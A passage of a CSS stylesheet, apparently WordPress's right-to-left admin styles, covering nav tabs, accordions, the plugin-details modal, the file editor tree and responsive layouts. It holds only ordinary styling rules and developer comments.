.nav-tab, /* Back-compat for pre-4.4 */ .nav-tab-small .nav-tab { padding: 5px 14px; font-size: 12px; line-height: 1.33; } .nav-tab:hover, .nav-tab:focus { background-color: #fff; color: #3c434a; } .nav-tab-active, .nav-tab:focus:active { box-shadow: none; } .nav-tab-active { margin-bottom: -1px; color: #3c434a; } .nav-tab-active, .nav-tab-active:hover, .nav-tab-active:focus, .nav-tab-active:focus:active { border-bottom: 1px solid #f0f0f1; background: #f0f0f1; color: #000; } h1.nav-tab-wrapper, /* Back-compat for pre-4.4 */ .wrap h2.nav-tab-wrapper, /* higher specificity to override .wrap > h2:first-child */ .nav-tab-wrapper { border-bottom: 1px solid #c3c4c7; margin: 0; padding-top: 9px; padding-bottom: 0; line-height: inherit; } /* Back-compat for plugins. Deprecated. Use .wp-clearfix instead. */ .nav-tab-wrapper:not(.wp-clearfix):after { content: ""; display: table; clear: both; } /*------------------------------------------------------------------------------ 26.0 - Misc ------------------------------------------------------------------------------*/ .spinner { background: url(../images/spinner.gif) no-repeat; background-size: 20px 20px; display: inline-block; visibility: hidden; float: left; vertical-align: middle; opacity: 0.7; filter: alpha(opacity=70); width: 20px; height: 20px; margin: 10px 10px 0; } .spinner.is-active, .loading-content .spinner { visibility: visible; } #template > div { margin-left: 16em; } #template .notice { margin-top: 1em; margin-left: 3%; } #template .notice p { width: auto; } #template .submit .spinner { float: none; vertical-align: top; } .metabox-holder .stuffbox > h3, /* Back-compat for pre-4.4 */ .metabox-holder .postbox > h3, /* Back-compat for pre-4.4 */ .metabox-holder h3.hndle, /* Back-compat for pre-4.4 */ .metabox-holder h2.hndle { font-size: 14px; padding: 8px 12px; margin: 0; line-height: 1.4; } /* Back-compat for nav-menus screen */ .nav-menus-php .metabox-holder h3 { padding: 0; } .accordion-container h3.accordion-section-title { padding: 0 !important; } .accordion-section-title button.accordion-trigger, .nav-menus-php .metabox-holder .accordion-section-title button.accordion-trigger { background: inherit; color: #1d2327; display: block; position: relative; text-align: right; width: 100%; outline: none; border: 0; padding: 10px 14px 11px 10px; line-height: 1.5; cursor: pointer; } .accordion-section-title button.accordion-trigger:focus, .nav-menus-php .metabox-holder .accordion-section-title button.accordion-trigger:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); outline: 2px solid transparent; } .accordion-section-title span.dashicons.dashicons-arrow-down, .nav-menus-php .metabox-holder .accordion-section-title span.dashicons.dashicons-arrow-down { position: absolute; left: 10px; right: auto; color: #787c82; border-radius: 50px; top: 50%; transform: translateY(-50%); } .accordion-section-title:hover span.dashicons.dashicons-arrow-down, .nav-menus-php .metabox-holder .accordion-section-title:hover span.dashicons.dashicons-arrow-down { color: #1d2327; } .accordion-section-title span.dashicons.dashicons-arrow-down::before, .nav-menus-php .metabox-holder .accordion-section-title span.dashicons.dashicons-arrow-down::before { position: relative; right: -1px; } .accordion-section.open .accordion-section-title span.dashicons.dashicons-arrow-down, .nav-menus-php .metabox-holder .accordion-section.open .accordion-section-title span.dashicons.dashicons-arrow-down { transform: rotate(-180deg) translate(0, 50%); } #templateside ul li a { text-decoration: none; } .plugin-install #description, .plugin-install-network #description { width: 60%; } table .vers, table .column-visible, table .column-rating { text-align: right; } .attention, .error-message { color: #d63638; font-weight: 600; } /* Scrollbar fix for bulk upgrade iframe */ body.iframe { height: 98%; } /* Upgrader styles, Specific to Language Packs */ .lp-show-latest p { display: none; } .lp-show-latest p:last-child, .lp-show-latest .lp-error p { display: block; } /* - Only used once or twice in all of WP - deprecate for global style ------------------------------------------------------------------------------*/ .media-icon { width: 62px; /* icon + border */ text-align: center; } .media-icon img { border: 1px solid #dcdcde; border: 1px solid rgba(0, 0, 0, 0.07); } #howto { font-size: 11px; margin: 0 5px; display: block; } .importers { font-size: 16px; width: auto; } .importers td { padding-left: 14px; line-height: 1.4; } .importers .import-system { max-width: 250px; } .importers td.desc { max-width: 500px; } .importer-title, .importer-desc, .importer-action { display: block; } .importer-title { color: #000; font-size: 14px; font-weight: 400; margin-bottom: .2em; } .importer-action { line-height: 1.55; /* Same as with .updating-message */ color: #50575e; margin-bottom: 1em; } #post-body #post-body-content #namediv h3, /* Back-compat for pre-4.4 */ #post-body #post-body-content #namediv h2 { margin-top: 0; } .edit-comment-author { color: #1d2327; border-bottom: 1px solid #f0f0f1; } #namediv h3 label, /* Back-compat for pre-4.4 */ #namediv h2 label { vertical-align: baseline; } #namediv table { width: 100%; } #namediv td.first { width: 10px; white-space: nowrap; } #namediv input { width: 100%; } #namediv p { margin: 10px 0; } /* - Used - but could/should be deprecated with a CSS reset ------------------------------------------------------------------------------*/ .zerosize { height: 0; width: 0; margin: 0; border: 0; padding: 0; overflow: hidden; position: absolute; } br.clear { height: 2px; line-height: 0.15; } .checkbox { border: none; margin: 0; padding: 0; } fieldset { border: 0; padding: 0; margin: 0; } .post-categories { display: inline; margin: 0; padding: 0; } .post-categories li { display: inline; } /* Star Ratings - Back-compat for pre-3.8 */ div.star-holder { position: relative; height: 17px; width: 100px; background: url(../images/stars.png?ver=20121108) repeat-x bottom right; } div.star-holder .star-rating { background: url(../images/stars.png?ver=20121108) repeat-x top right; height: 17px; float: right; } /* Star Ratings */ .star-rating { white-space: nowrap; } .star-rating .star { display: inline-block; width: 20px; height: 20px; -webkit-font-smoothing: antialiased; font-size: 20px; line-height: 1; font-family: dashicons; text-decoration: inherit; font-weight: 400; font-style: normal; vertical-align: top; transition: color .1s ease-in; text-align: center; color: #dba617; } .star-rating .star-full:before { content: "\f155"; content: "\f155" / ''; } .star-rating .star-half:before { content: "\f459"; content: "\f459" / ''; } .rtl .star-rating .star-half { transform: rotateY(-180deg); } .star-rating .star-empty:before { content: "\f154"; content: "\f154" / ''; } div.action-links { font-weight: 400; margin: 6px 0 0; } /* Plugin install thickbox */ #plugin-information { background: #fff; position: fixed; top: 0; left: 0; bottom: 0; right: 0; height: 100%; padding: 0; } #plugin-information-scrollable { overflow: auto; -webkit-overflow-scrolling: touch; height: 100%; } #plugin-information-title { padding: 0 26px; background: #f6f7f7; font-size: 22px; font-weight: 600; line-height: 2.4; position: relative; height: 56px; } #plugin-information-title.with-banner { margin-left: 0; height: 250px; background-size: cover; } #plugin-information-title h2 { font-size: 1em; font-weight: 600; padding: 0; margin: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } #plugin-information-title.with-banner h2 { position: relative; font-family: "Helvetica Neue", sans-serif; display: inline-block; font-size: 30px; line-height: 1.68; box-sizing: border-box; max-width: 100%; padding: 0 15px; margin-top: 174px; color: #fff; background: rgba(29, 35, 39, 0.9); text-shadow: 0 1px 3px rgba(0, 0, 0, 0.4); box-shadow: 0 0 30px rgba(255, 255, 255, 0.1); border-radius: 8px; } #plugin-information-title div.vignette { display: none; } #plugin-information-title.with-banner div.vignette { position: absolute; display: block; top: 0; right: 0; height: 250px; width: 100%; background: transparent; box-shadow: inset 0 0 50px 4px rgba(0, 0, 0, 0.2), inset 0 -1px 0 rgba(0, 0, 0, 0.1); } #plugin-information-tabs { padding: 0 16px; position: relative; left: 0; right: 0; min-height: 36px; font-size: 0; z-index: 1; border-bottom: 1px solid #dcdcde; background: #f6f7f7; } #plugin-information-tabs a { position: relative; display: inline-block; padding: 9px 10px; margin: 0; height: 18px; line-height: 1.3; font-size: 14px; text-decoration: none; transition: none; } #plugin-information-tabs a.current { margin: 0 -1px -1px; background: #fff; border: 1px solid #dcdcde; border-bottom-color: #fff; padding-top: 8px; color: #2c3338; } #plugin-information-tabs.with-banner a.current { border-top: none; padding-top: 9px; } #plugin-information-tabs a:active, #plugin-information-tabs a:focus { outline: none; } #plugin-information-content { overflow: hidden; /* equal height column trick */ background: #fff; position: relative; top: 0; left: 0; right: 0; min-height: 100%; /* Height of title + tabs + install now */ min-height: calc( 100% - 152px ); } #plugin-information-content.with-banner { /* Height of banner + tabs + install now */ min-height: calc( 100% - 346px ); } #section-holder { position: relative; top: 0; left: 250px; bottom: 0; right: 0; margin-top: 10px; margin-left: 250px; /* FYI box */ padding: 10px 26px 99999px; /* equal height column trick */ margin-bottom: -99932px; /* 67px less than the padding below to accommodate footer height */ } #section-holder .notice { margin: 5px 0 15px; } #section-holder .updated { margin: 16px 0; } #plugin-information .fyi { float: left; position: relative; top: 0; left: 0; padding: 16px 16px 99999px; /* equal height column trick */ margin-bottom: -99932px; /* 67px less than the padding below to accommodate footer height */ width: 217px; border-right: 1px solid #dcdcde; background: #f6f7f7; color: #646970; } #plugin-information .fyi strong { color: #3c434a; } #plugin-information .fyi h3 { font-weight: 600; text-transform: uppercase; font-size: 12px; color: #646970; margin: 24px 0 8px; } #plugin-information .fyi h2 { font-size: 0.9em; margin-bottom: 0; margin-left: 0; } #plugin-information .fyi ul { padding: 0; margin: 0; list-style: none; } #plugin-information .fyi li { margin: 0 0 10px; } #plugin-information .fyi-description { margin-top: 0; } #plugin-information .counter-container { margin: 3px 0; } #plugin-information .counter-label { float: right; margin-left: 5px; min-width: 55px; } #plugin-information .counter-back { height: 17px; width: 92px; background-color: #dcdcde; float: right; } #plugin-information .counter-bar { height: 17px; background-color: #f0c33c; /* slightly lighter than stars due to larger expanse */ float: right; } #plugin-information .counter-count { margin-right: 5px; } #plugin-information .fyi ul.contributors { margin-top: 10px; } #plugin-information .fyi ul.contributors li { display: inline-block; margin-left: 8px; vertical-align: middle; } #plugin-information .fyi ul.contributors li { display: inline-block; margin-left: 8px; vertical-align: middle; } #plugin-information .fyi ul.contributors li img { vertical-align: middle; margin-left: 4px; } #plugin-information-footer { padding: 13px 16px; position: absolute; left: 0; bottom: 0; right: 0; height: 40px; /* actual height: 40+13+13+1=67 */ border-top: 1px solid #dcdcde; background: #f6f7f7; } /* rtl:ignore */ #plugin-information .section { direction: ltr; } /* rtl:ignore */ #plugin-information .section ul, #plugin-information .section ol { list-style-type: disc; margin-left: 24px; } #plugin-information .section, #plugin-information .section p { font-size: 14px; line-height: 1.7; } #plugin-information #section-screenshots ol { list-style: none; margin: 0; } #plugin-information #section-screenshots li img { vertical-align: text-top; margin-top: 16px; max-width: 100%; width: auto; height: auto; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3); } /* rtl:ignore */ #plugin-information #section-screenshots li p { font-style: italic; padding-left: 20px; } #plugin-information pre { padding: 7px; overflow: auto; border: 1px solid #c3c4c7; } #plugin-information blockquote { border-right: 2px solid #dcdcde; color: #646970; font-style: italic; margin: 1em 0; padding: 0 1em 0 0; } /* rtl:ignore */ #plugin-information .review { overflow: hidden; /* clearfix */ width: 100%; margin-bottom: 20px; border-bottom: 1px solid #dcdcde; } #plugin-information .review-title-section { overflow: hidden; /* clearfix */ } /* rtl:ignore */ #plugin-information .review-title-section h4 { display: inline-block; float: left; margin: 0 6px 0 0; } #plugin-information .reviewer-info p { clear: both; margin: 0; padding-top: 2px; } /* rtl:ignore */ #plugin-information .reviewer-info .avatar { float: left; margin: 4px 6px 0 0; } /* rtl:ignore */ #plugin-information .reviewer-info .star-rating { float: left; } /* rtl:ignore */ #plugin-information .review-meta { float: left; margin-left: 0.75em; } /* rtl:ignore */ #plugin-information .review-body { float: left; width: 100%; } .plugin-version-author-uri { font-size: 13px; } /* For non-js plugin installation screen ticket #36430. */ .update-php .button.button-primary { margin-left: 1em; } @media screen and (max-width: 771px) { #plugin-information-title.with-banner { height: 100px; } #plugin-information-title.with-banner h2 { margin-top: 30px; font-size: 20px; line-height: 2; max-width: 85%; } #plugin-information-title.with-banner div.vignette { height: 100px; } #plugin-information-tabs { overflow: hidden; /* clearfix */ padding: 0; height: auto; /* let tabs wrap */ } #plugin-information-tabs a.current { margin-bottom: 0; border-bottom: none; } #plugin-information .fyi { float: none; border: 1px solid #dcdcde; position: static; width: auto; margin: 26px 26px 0; padding-bottom: 0; /* reset from the two column height fix */ } #section-holder { position: static; margin: 0; padding-bottom: 70px; /* reset from the two column height fix, plus accommodate footer */ } #plugin-information .fyi h3, #plugin-information .fyi small { display: none; } #plugin-information-footer { padding: 12px 16px 0; height: 46px; } } /* Thickbox for the Plugin details modal. */ #TB_window.plugin-details-modal { background: #fff; } #TB_window.plugin-details-modal.thickbox-loading:before { content: ""; display: block; width: 20px; height: 20px; position: absolute; right: 50%; top: 50%; z-index: -1; margin: -10px -10px 0 0; background: #fff url(../images/spinner.gif) no-repeat center; background-size: 20px 20px; transform: translateZ(0); } @media print, (min-resolution: 120dpi) { #TB_window.plugin-details-modal.thickbox-loading:before { background-image: url(../images/spinner-2x.gif); } } .plugin-details-modal #TB_title { float: right; height: 1px; } .plugin-details-modal #TB_ajaxWindowTitle { display: none; } .plugin-details-modal #TB_closeWindowButton { right: auto; left: -30px; color: #f0f0f1; } .plugin-details-modal #TB_closeWindowButton:hover, .plugin-details-modal #TB_closeWindowButton:focus { outline: none; box-shadow: none; } .plugin-details-modal #TB_closeWindowButton:hover::after, .plugin-details-modal #TB_closeWindowButton:focus::after { outline: 2px solid; outline-offset: -4px; border-radius: 4px; } .plugin-details-modal .tb-close-icon { display: none; } .plugin-details-modal #TB_closeWindowButton:after { content: "\f335"; content: "\f335" / ''; font: normal 32px/29px 'dashicons'; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* move plugin install close icon to top on narrow screens */ @media screen and (max-width: 830px) { .plugin-details-modal #TB_closeWindowButton { left: 0; top: -30px; } } /* @todo: move this. */ img { border: none; } /* Metabox collapse arrow indicators */ .sidebar-name .toggle-indicator::before, .meta-box-sortables .postbox .toggle-indicator::before, .meta-box-sortables .postbox .order-higher-indicator::before, .meta-box-sortables .postbox .order-lower-indicator::before, .bulk-action-notice .toggle-indicator::before, .privacy-text-box .toggle-indicator::before { content: "\f142"; content: "\f142" / ''; display: inline-block; font: normal 20px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none; } .js .widgets-holder-wrap.closed .toggle-indicator::before, .meta-box-sortables .postbox.closed .handlediv .toggle-indicator::before, .bulk-action-notice .bulk-action-errors-collapsed .toggle-indicator::before, .privacy-text-box.closed .toggle-indicator::before { content: "\f140"; content: "\f140" / ''; } .postbox .handle-order-higher .order-higher-indicator::before { content: "\f343"; content: "\f343" / ''; color: inherit; } .postbox .handle-order-lower .order-lower-indicator::before { content: "\f347"; content: "\f347" / ''; color: inherit; } .postbox .handle-order-higher .order-higher-indicator::before, .postbox .handle-order-lower .order-lower-indicator::before { position: relative; top: 0.11rem; width: 20px; height: 20px; } .postbox .handlediv .toggle-indicator::before { width: 20px; border-radius: 50%; } .postbox .handlediv .toggle-indicator::before { position: relative; top: 0.05rem; text-indent: -1px; /* account for the dashicon glyph uneven horizontal alignment */ } .rtl .postbox .handlediv .toggle-indicator::before { text-indent: 1px; /* account for the dashicon glyph uneven horizontal alignment */ } .bulk-action-notice .toggle-indicator::before { line-height: 16px; vertical-align: top; color: #787c82; } .postbox .handle-order-higher:focus, .postbox .handle-order-lower:focus, .postbox .handlediv:focus { box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); border-radius: 50%; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .postbox .handle-order-higher:focus .order-higher-indicator::before, .postbox .handle-order-lower:focus .order-lower-indicator::before, .postbox .handlediv:focus .toggle-indicator::before { box-shadow: none; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } /* @todo: appears to be Press This only and overridden */ #photo-add-url-div input[type="text"] { width: 300px; } /* Theme/Plugin file editor */ .alignleft h2 { margin: 0; } #template textarea { font-family: Consolas, Monaco, monospace; font-size: 13px; background: #f6f7f7; tab-size: 4; } #template textarea, #template .CodeMirror { width: 100%; min-height: 60vh; height: calc( 100vh - 295px ); border: 1px solid #dcdcde; box-sizing: border-box; } #templateside > h2 { padding-top: 6px; padding-bottom: 7px; margin: 0; } #templateside ol, #templateside ul { margin: 0; padding: 0; } #templateside > ul { box-sizing: border-box; margin-top: 0; overflow: auto; padding: 0; min-height: 60vh; height: calc(100vh - 295px); background-color: #f6f7f7; border: 1px solid #dcdcde; border-right: none; } #templateside ul ul { padding-right: 12px; } #templateside > ul > li > ul[role=group] { padding-right: 0; } /* * Styles for Theme and Plugin file editors. */ /* Hide collapsed items. */ [role="treeitem"][aria-expanded="false"] > ul { display: none; } /* Use arrow dashicons for folder states, but hide from screen readers. */ [role="treeitem"] span[aria-hidden] { display: inline; font-family: dashicons; font-size: 20px; position: absolute; pointer-events: none; } [role="treeitem"][aria-expanded="false"] > .folder-label .icon:after { content: "\f141"; content: "\f139" / ''; } [role="treeitem"][aria-expanded="true"] > .folder-label .icon:after { content: "\f140"; content: "\f140" / ''; } [role="treeitem"] .folder-label { display: block; padding: 3px 12px 3px 3px; cursor: pointer; } /* Remove outline, and create our own focus and hover styles */ [role="treeitem"] { outline: 0; } [role="treeitem"] a:focus, [role="treeitem"] .folder-label.focus { color: #043959; /* Reset default focus style. */ box-shadow: none; /* Use an inset outline instead, so it's visible also over the current file item. */ outline: 2px solid var(--wp-admin-theme-color, #3858e9); outline-offset: -2px; } [role="treeitem"].hover, [role="treeitem"] .folder-label.hover { background-color: #f0f0f1; } .tree-folder { margin: 0; position: relative; } [role="treeitem"] li { position: relative; } /* Styles for folder indicators/depth */ .tree-folder .tree-folder::after { content: ""; display: block; position: absolute; right: 2px; border-right: 1px solid #c3c4c7; top: -13px; bottom: 10px; } .tree-folder > li::before { content: ""; position: absolute; display: block; border-right: 1px solid #c3c4c7; right: 2px; top: -5px; height: 18px; width: 7px; border-bottom: 1px solid #c3c4c7; } .tree-folder > li::after { content: ""; position: absolute; display: block; border-right: 1px solid #c3c4c7; right: 2px; bottom: -7px; top: 0; } /* current-file needs to adjustment for .notice styles */ #templateside .current-file { margin: -4px 0 -2px; } .tree-folder > .current-file::before { right: 4px; height: 15px; width: 0; border-right: none; top: 3px; } .tree-folder > .current-file::after { bottom: -4px; height: 7px; right: 2px; top: auto; } /* Lines shouldn't continue on last item */ .tree-folder > li:last-child::after, .tree-folder li:last-child > .tree-folder::after { display: none; } #theme-plugin-editor-selector, #theme-plugin-editor-label, #documentation label { font-weight: 600; } #theme-plugin-editor-label { display: inline-block; margin-bottom: 1em; } /* rtl:ignore */ #template textarea, #docs-list { direction: ltr; } .fileedit-sub #theme, .fileedit-sub #plugin { max-width: 40%; } .fileedit-sub .alignright { text-align: left; } #template p { width: 97%; } #file-editor-linting-error { margin-top: 1em; margin-bottom: 1em; } #file-editor-linting-error > .notice { margin: 0; display: inline-block; } #file-editor-linting-error > .notice > p { width: auto; } #template .submit { margin-top: 1em; padding: 0; } #template .submit input[type=submit][disabled] { cursor: not-allowed; } #templateside { float: left; width: 16em; word-wrap: break-word; } #postcustomstuff p.submit { margin: 0; } #templateside h4 { margin: 1em 0 0; } #templateside li { margin: 4px 0; } #templateside li:not(.howto) a, .theme-editor-php .highlight { display: block; padding: 3px 12px 3px 0; text-decoration: none; } #templateside li.current-file > a { padding-bottom: 0; } #templateside li:not(.howto) > a:first-of-type { padding-top: 0; } #templateside li.howto { padding: 6px 12px 12px; } .theme-editor-php .highlight { margin: -3px -12px -3px 3px; } #templateside .highlight { border: none; font-weight: 600; } .nonessential { color: #646970; font-size: 11px; font-style: italic; padding-right: 12px; } #documentation { margin-top: 10px; } #documentation label { line-height: 1.8; vertical-align: baseline; } .fileedit-sub { padding: 10px 0 8px; line-height: 180%; } #file-editor-warning .file-editor-warning-content { margin: 25px; } /* @todo: can we use a common class for these? */ .nav-menus-php .item-edit:before, .wp-customizer .control-section .accordion-section-title:after, .wp-customizer .accordion-section-title:after, .widget-top .widget-action .toggle-indicator:before { content: "\f140"; content: "\f140" / ''; font: normal 20px/1 dashicons; display: block; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none; } .widget-top .widget-action .toggle-indicator:before { padding: 1px 0 1px 2px; border-radius: 50%; } .handlediv, .postbox .handlediv.button-link, .item-edit, .toggle-indicator { color: #646970; } .widget-action { color: #50575e; /* #fafafa background in the Widgets screen */ } .widget-top:hover .widget-action, .widget-action:focus, .handlediv:hover, .handlediv:focus, .postbox .handlediv.button-link:hover, .postbox .handlediv.button-link:focus, .item-edit:hover, .item-edit:focus, .sidebar-name:hover .toggle-indicator { color: #1d2327; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .widget-top .widget-action:focus .toggle-indicator:before { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } #customize-info.open .accordion-section-title:after, .nav-menus-php .menu-item-edit-active .item-edit:before, .widget.open .widget-top .widget-action .toggle-indicator:before, .widget.widget-in-question .widget-top .widget-action .toggle-indicator:before { content: "\f142"; content: "\f142" / ''; } /*! * jQuery UI Draggable/Sortable 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ .ui-draggable-handle, .ui-sortable-handle { touch-action: none; } /* Accordion */ .accordion-section { border-bottom: 1px solid #dcdcde; margin: 0; } .accordion-section.open .accordion-section-content, .no-js .accordion-section .accordion-section-content { display: block; } .accordion-section.open:hover { border-bottom-color: #dcdcde; } .accordion-section-content { display: none; padding: 10px 20px 15px; overflow: hidden; background: #fff; } .accordion-section-title { margin: 0; position: relative; border-right: 1px solid #dcdcde; border-left: 1px solid #dcdcde; -webkit-user-select: none; user-select: none; } .js .accordion-section-title { cursor: pointer; } .js .accordion-section-title:after { position: absolute; top: 12px; left: 10px; z-index: 1; } .accordion-section-title:focus { /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } .accordion-section-title:hover:after, .accordion-section-title:focus:after { border-color: #a7aaad transparent; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } .cannot-expand .accordion-section-title { cursor: auto; } .cannot-expand .accordion-section-title:after { display: none; } .control-section .accordion-section-title, .customize-pane-child .accordion-section-title { border-right: none; border-left: none; padding: 10px 14px 11px 10px; line-height: 1.55; background: #fff; } .control-section .accordion-section-title:after, .customize-pane-child .accordion-section-title:after { top: calc(50% - 10px); /* Arrow height is 20px, so use half of that to vertically center */ } .js .control-section:hover .accordion-section-title, .js .control-section .accordion-section-title:hover, .js .control-section.open .accordion-section-title, .js .control-section .accordion-section-title:focus { color: #1d2327; background: #f6f7f7; } .control-section.open .accordion-section-title { /* When expanded */ border-bottom: 1px solid #dcdcde; } /* Edit Site */ .network-admin .edit-site-actions { margin-top: 0; } /* My Sites */ .my-sites { display: block; overflow: auto; zoom: 1; } .my-sites li { display: block; padding: 8px 3%; min-height: 130px; margin: 0; } @media only screen and (max-width: 599px) { .my-sites li { min-height: 0; } } @media only screen and (min-width: 600px) { .my-sites.striped li { background-color: #fff; position: relative; } .my-sites.striped li:after { content: ""; width: 1px; height: 100%; position: absolute; top: 0; left: 0; background: #c3c4c7; } } @media only screen and (min-width: 600px) and (max-width: 699px) { .my-sites li{ float: right; width: 44%; } .my-sites.striped li { background-color: #fff; } .my-sites.striped li:nth-of-type(2n+1) { clear: right; } .my-sites.striped li:nth-of-type(2n+2):after { content: none; } .my-sites li:nth-of-type(4n+1), .my-sites li:nth-of-type(4n+2) { background-color: #f6f7f7; } } @media only screen and (min-width: 700px) and (max-width: 1199px) { .my-sites li { float: right; width: 27.333333%; background-color: #fff; } .my-sites.striped li:nth-of-type(3n+3):after { content: none; } .my-sites li:nth-of-type(6n+1), .my-sites li:nth-of-type(6n+2), .my-sites li:nth-of-type(6n+3) { background-color: #f6f7f7; } } @media only screen and (min-width: 1200px) and (max-width: 1399px) { .my-sites li { float: right; width: 21%; padding: 8px 2%; background-color: #fff; } .my-sites.striped li:nth-of-type(4n+1) { clear: right; } .my-sites.striped li:nth-of-type(4n+4):after { content: none; } .my-sites li:nth-of-type(8n+1), .my-sites li:nth-of-type(8n+2), .my-sites li:nth-of-type(8n+3), .my-sites li:nth-of-type(8n+4) { background-color: #f6f7f7; } } @media only screen and (min-width: 1400px) and (max-width: 1599px) { .my-sites li { float: right; width: 16%; padding: 8px 2%; background-color: #fff; } .my-sites.striped li:nth-of-type(5n+1) { clear: right; } .my-sites.striped li:nth-of-type(5n+5):after { content: none; } .my-sites li:nth-of-type(10n+1), .my-sites li:nth-of-type(10n+2), .my-sites li:nth-of-type(10n+3), .my-sites li:nth-of-type(10n+4), .my-sites li:nth-of-type(10n+5) { background-color: #f6f7f7; } } @media only screen and (min-width: 1600px) { .my-sites li { float: right; width: 12.666666%; padding: 8px 2%; background-color: #fff; } .my-sites.striped li:nth-of-type(6n+1) { clear: right; } .my-sites.striped li:nth-of-type(6n+6):after { content: none; } .my-sites li:nth-of-type(12n+1), .my-sites li:nth-of-type(12n+2), .my-sites li:nth-of-type(12n+3), .my-sites li:nth-of-type(12n+4), .my-sites li:nth-of-type(12n+5), .my-sites li:nth-of-type(12n+6) { background-color: #f6f7f7; } } .my-sites li a { text-decoration: none; } /* =Media Queries -------------------------------------------------------------- */ /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { /* Back-compat for pre-3.8 */ div.star-holder, div.star-holder .star-rating { background: url(../images/stars-2x.png?ver=20121108) repeat-x bottom right; background-size: 21px 37px; } .spinner { background-image: url(../images/spinner-2x.gif); } } @media screen and (max-width: 782px) { html.wp-toolbar { padding-top: var(--wp-admin--admin-bar--height); } .screen-reader-shortcut:focus { top: -39px; } .block-editor-page .screen-reader-shortcut:focus { top: 7px; } .screen-reader-shortcut[href="#wp-toolbar"] { display: none; } body { min-width: 240px; overflow-x: hidden; } body * { -webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important; } #wpcontent { position: relative; margin-right: 0; padding-right: 10px; } #wpbody-content { padding-bottom: 100px; } .wrap { clear: both; margin-left: 12px; margin-right: 0; } /* categories */ #col-left, #col-right { float: none; width: auto; } #col-left .col-wrap, #col-right .col-wrap { padding: 0; } /* Hidden Elements */ #collapse-menu, .post-format-select { display: none !important; } .wrap h1.wp-heading-inline { margin-bottom: 0.5em; } .wrap .add-new-h2, /* deprecated */ .wrap .add-new-h2:active, /* deprecated */ .wrap .page-title-action, .wrap .page-title-action:active { padding: 0 14px; font-size: 14px; white-space: nowrap; min-height: 40px; line-height: 2.71428571; vertical-align: middle; } /* Feedback Messages */ .notice, .wrap div.updated, .wrap div.error, .media-upload-form div.error { margin: 20px 0 10px; padding: 5px 10px; font-size: 14px; line-height: 175%; } .wp-core-ui .notice.is-dismissible { padding-left: 46px; } .notice-dismiss { padding: 13px; } .wrap .icon32 + h2 { margin-top: -2px; } .wp-responsive-open #wpbody { left: -16em; } code { word-wrap: break-word; word-wrap: anywhere; /* Firefox. Allow breaking long words anywhere */ word-break: break-word; /* Webkit: Treated similarly to word-wrap: break-word */ } /* General Metabox */ .postbox { font-size: 14px; } .metabox-holder h3.hndle, /* Back-compat for pre-4.4 */ .metabox-holder .stuffbox > h3, /* Back-compat for pre-4.4 */ .metabox-holder .postbox > h3, /* Back-compat for pre-4.4 */ .metabox-holder h2 { padding: 12px; } .nav-menus-php .metabox-holder h3 { padding: 0; } .postbox .handlediv { margin-top: 3px; } /* Subsubsub Nav */ .subsubsub { font-size: 16px; text-align: center; margin-bottom: 15px; } /* Theme/Plugin File Editor */ #template textarea, #template .CodeMirror { box-sizing: border-box; } #templateside { float: none; width: auto; } #templateside > ul { border-right: 1px solid #dcdcde; } #templateside li { margin: 0; } #templateside li:not(.howto) a { display: block; padding: 5px; } #templateside li.howto { padding: 12px; } #templateside .highlight { padding: 5px; margin-right: -5px; margin-top: -5px; } #template > div, #template .notice { float: none; margin: 1em 0; width: auto; } #template .CodeMirror, #template textarea { width: 100%; } #templateside ul ul { padding-right: 1.5em; } [role="treeitem"] .folder-label { display: block; padding: 5px; } .tree-folder > li::before, .tree-folder > li::after, .tree-folder .tree-folder::after { right: -8px; } .tree-folder > li::before { top: 0; height: 13px; } .tree-folder > .current-file::before { right: -5px; top: 7px; width: 4px; } .tree-folder > .current-file::after { height: 9px; right: -8px; } .wrap #templateside span.notice { margin-right: -5px; width: 100%; } .fileedit-sub .alignright { float: right; margin-top: 15px; width: 100%; text-align: right; } .fileedit-sub .alignright label { display: block; } .fileedit-sub #theme, .fileedit-sub #plugin { margin-right: 0; max-width: 70%; } .fileedit-sub input[type="submit"] { margin-bottom: 0; } #documentation label[for="docs-list"] { display: block; } #documentation select[name="docs-list"] { margin-right: 0; max-width: 60%; } #documentation input[type="button"] { margin-bottom: 0; } #wpfooter { display: none; } #comments-form .checkforspam { display: none; } .edit-comment-author { margin: 2px 0 0; } .filter-drawer .filter-group-feature input, .filter-drawer .filter-group-feature label { line-height: 2.1; } .filter-drawer .filter-group-feature label { margin-right: 32px; } .wp-filter .button.drawer-toggle { font-size: 13px; line-height: 2; height: 28px; } /* Fix help tab columns for smaller screens */ #screen-meta #contextual-help-wrap { overflow: visible; } #screen-meta #contextual-help-back, #screen-meta .contextual-help-sidebar { display: none; } #screen-meta .contextual-help-tabs { clear: both; width: 100%; float: none; } #screen-meta .contextual-help-tabs ul { margin: 0 0 1em; padding: 1em 0 0; } #screen-meta .contextual-help-tabs .active { margin: 0; } #screen-meta .contextual-help-tabs-wrap { clear: both; max-width: 100%; float: none; } #screen-meta, #screen-meta-links { margin-left: 10px; } #screen-meta-links { margin-bottom: 20px; /* Add margins beneath links for better spacing between boxes and elements */ } #screen-meta-links .show-settings:after { line-height: 1.9; } .wp-filter .search-form input[type="search"] { font-size: 1rem; } .wp-filter .search-form.search-plugins { /* This element is a flex item. */ min-width: 100%; } } /* Smartphone */ @media screen and (max-width: 600px) { /* Disable horizontal scroll when responsive menu is open since we push the main content off to the right. */ #wpwrap.wp-responsive-open { overflow-x: hidden; } 